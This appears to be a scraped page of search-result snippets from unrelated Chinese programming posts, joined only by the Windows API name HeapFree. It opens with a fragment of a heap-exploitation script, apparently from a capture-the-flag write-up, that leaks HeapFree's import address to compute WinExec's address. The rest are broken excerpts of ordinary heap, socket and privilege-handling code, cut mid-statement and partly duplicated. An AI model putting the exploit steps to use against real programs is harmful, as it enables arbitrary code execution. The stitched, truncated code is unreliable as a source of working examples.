而winexev在kernel32中，和HeapFree一样，于是需要先泄露HeapFree的地址来计算偏移。既然要泄露HeapFree地址，就要把堆上保存的堆指针覆盖为HeapFree的iat地址。...#过滤换行 p.recv(4) image_leak = u32(p.recv(3).ljust(4,"\x00")) image_base = image_leak - 0x1048 idata_heapfree...image_base + 0x2004 print("image_leak:", hex(image_leak)) print("image_base:", hex(image_base)) print("idata_heapfree...:", hex(idata_heapfree)) edit(2, p32(idata_heapfree)) #windbg.attach(p) show(4) p.recvuntil("\r\n")...#过滤换行 heapfree = u32(p.recv(4)) winexec = heapfree - 0x11D10 + 0x5EA90 print("puts:", hex(heapfree))
/2,0xAA); CopyMemory(lpDis,lpSrc,MEM_BLOCK_SIZE); ShowMemContent(lpDis,MEM_BLOCK_SIZE); HeapFree...(hHeap,0,lpSrc); HeapFree(hHeap,0,lpDis); CHAR a; std::cin>>a; }
; m_pFreeBufferList = pBuffer; m_pFreeBufferCount++; } else { ::HeapFree...m_nFreeContextCount++; } else { ::DeleteCriticalSection(&pContext->Lock); ::HeapFree
释放保留的"窗口"空间 bResult = VirtualFree(lpMemReserved, 0, MEM_RELEASE); //10 释放页表数组 bResult = HeapFree...(GetProcessHeap(), 0, aPFNs1); bResult = HeapFree(GetProcessHeap(), 0, aPFNs2); _tsystem(_T(
i = 0; i < 2 * si.dwNumberOfProcessors; i++) { CloseHandle(pThreadArray[i]); } HeapFree...\n"); for (int i = 0; i < nIndex; i++) { closesocket(pSocketsArray[i]); HeapFree...(GetProcessHeap(), 0, pOverlappedArray[i]); } HeapFree(GetProcessHeap(), 0, pSocketsArray);...HeapFree(GetProcessHeap(), 0, pOverlappedArray); printf("清理sockets池成功..................d)\n", GetCurrentThreadId(), lpoc->pBuf, lpoc->dwTransBytes, dwNumberOfTransfered); HeapFree
堆内存管理的函数主要有HeapCreate、HeapAlloc、HeapFree、HeapRealloc、HeapDestroy、HeapWalk、HeapLock、HeapUnLock。...(float)); for (int i = 0; i < nCount; i++) { pfArray[i] = 1.0f * rand(); } HeapFree...(float)); for (int i = 0; i < nCount; i++) { pfArray[i] = 1.0f * rand(); } HeapFree
sizeof(float)); for (int i = 0; i < 1000; i++) { fArray[i] = 1.0f * rand(); } HeapFree...float)); for (int i = 0; i < 2 * 1000; i++) { fArray[i] = 1.0f * rand(); } HeapFree
m_pBlockInfo[m_hasInfo].pBlock = pBlock; m_hasInfo++; } CMemoryLeak::~CMemoryLeak(void) { HeapFree...void __cdecl operator delete(void *p, TCHAR *pstrPath, int nLine) { ::operator delete(p); HeapFree...g_MemoryLeak[i].pBlock) { g_MemoryLeak[i].m_bDelete = TRUE; } } HeapFree
你的这个函数不行，然后给你举了个例子，于是你测试了一下，下面是例子 DWORD a1 = (DWORD)MyGetProcAddress(LoadLibrary("kernel32.dll"), "HeapFree..."); DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), "HeapFree"); 于是 我们就苦思冥想，依然不得其解。。。...pTempFuction); } 现在测试下 DWORD a1 = (DWORD)MyGetProcAddress(LoadLibrary("kernel32.dll"), (LPCSTR)"HeapFree..."); DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), (LPCSTR)"HeapFree"); 发现值一样了 ps
你的这个函数不行，然后给你举了个例子，于是你测试了一下，下面是例子 DWORD a1 = (DWORD)MyGetProcAddress(LoadLibrary("kernel32.dll"), "HeapFree..."); DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), "HeapFree"); 于是 我们就苦思冥想，依然不得其解。...} 现在测试下 DWORD a1 = (DWORD)MyGetProcAddress(LoadLibrary("kernel32.dll"), (LPCSTR)"HeapFree..."); DWORD a2 = (DWORD)GetProcAddress(LoadLibrary("kernel32.dll"), (LPCSTR)"HeapFree"); 发现值一样了
释放保留的"窗口"空间 bResult = VirtualFree( lpMemReserved,0, MEM_RELEASE ); //10 释放页表数组 bResult = HeapFree...(GetProcessHeap(), 0, aPFNs1); bResult = HeapFree(GetProcessHeap(), 0, aPFNs2); _tsystem(_T("
= 0) { OS.HeapFree (hHeap, 0, lpFile); } if(result==false){ throw new Exception("启动失败
= NULL) { HeapFree(GetProcessHeap(), 0, ptg); } return bSuccess; } void FreeSid(...PSID *ppsid) { HeapFree(GetProcessHeap(), 0, *ppsid); *ppsid = NULL; } 这个例子是MSDN中的一个例子，上述代码中首先获取进程的访问令牌...tprintf(_T("特权开放\n")); }else { _tprintf(_T("特权关闭\n")); } } HeapFree...pAdminSid) { FreeSid(pAdminSid); } if (pAcl) { LocalFree(pAcl); } HeapFree
= pDataArray[i]) { HeapFree(GetProcessHeap(), 0, pDataArray[i]); pDataArray
dwNumberOfBytesRead, sBufferSize); goto _Cleanup; } RtlZeroMemory(pRandBuffer, sBufferSize); HeapFree..., NULL); i = IsDialogMessageW(NULL, NULL); } // Freeing the buffer allocated in 'Helper' HeapFree
pExOl = (ST_EXT_OVERLAPPED*)lpOverlapped; printf("线程[%04x]完成写入操作\n", GetCurrentThreadId()); HeapFree...(GetProcessHeap(), 0, pExOl->m_pData); HeapFree(GetProcessHeap(), 0, pExOl); pExOl = NULL; }...\n", GetCurrentThreadId()); HeapFree(GetProcessHeap(), 0, pExOl->m_pData); HeapFree...(GetProcessHeap(), 0, pExOl->m_pData); HeapFree(GetProcessHeap(), 0, pExOl); } for (...(GetProcessHeap(), 0, pExOl->m_pData); HeapFree(GetProcessHeap(), 0, pExOl); } } int _tmain
p_hklList[i]) == 0x0804) { g_hklRPC = p_hklList[i]; break; } } HeapFree
NT_SUCCESS(status)) { HeapFree(GetProcessHeap(), 0, objinf); break;...} CallbackStatus = CallbackProc(objinf, CallbackParam); HeapFree(GetProcessHeap
&argsnum);//切分命令行参数 for (int i = 0; i < argsnum; ++i) { ppArgv[i];//第i个参数 } HeapFree
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